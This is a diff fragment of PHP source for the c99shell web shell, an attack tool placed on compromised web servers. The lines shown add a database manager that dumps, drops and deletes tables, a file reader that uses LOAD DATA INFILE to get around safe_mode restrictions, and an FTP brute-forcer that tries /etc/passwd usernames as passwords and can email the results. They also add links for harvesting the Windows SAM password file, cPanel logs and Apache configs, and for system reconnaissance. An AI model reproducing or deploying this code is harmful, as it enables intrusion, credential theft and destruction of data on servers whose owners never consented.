{ + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } +} +echo "</td></tr></table>"; +if ($sql_sock) +{ + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; +} +echo "</table>"; +} +if ($act == "mkdir") +{ +if ($mkdir != $d) +{ + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; +} +$act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ +echo "<b>Ftp Quick brute:</b><br>"; +if (!win) {echo "This functions not work in Windows!<br><br>";} +else +{ + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } +} +} +if ($act == "d") +{ +if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} +else +{ + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; +} +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ +echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; +if (!$win) +{ + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} +} +else +{ + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} +} +if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} +if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} +if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} +if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} +if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} +function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} +displaysecinfo("OS Version?",myshellexec("cat /proc/version")); +displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); +displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); +displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); +displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); +displaysecinfo("RAM",myshellexec("free -m")); +displaysecinfo("HDD space",myshellexec("df -h")); +displaysecinfo("List of Attributes",myshellexec("lsattr -a")); +displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); +displaysecinfo("Is cURL installed?",myshellexec("which curl")); +displaysecinfo("Is lynx installed?",myshellexec("which lynx")); +displaysecinfo("Is links installed?",myshellexec("which links")); 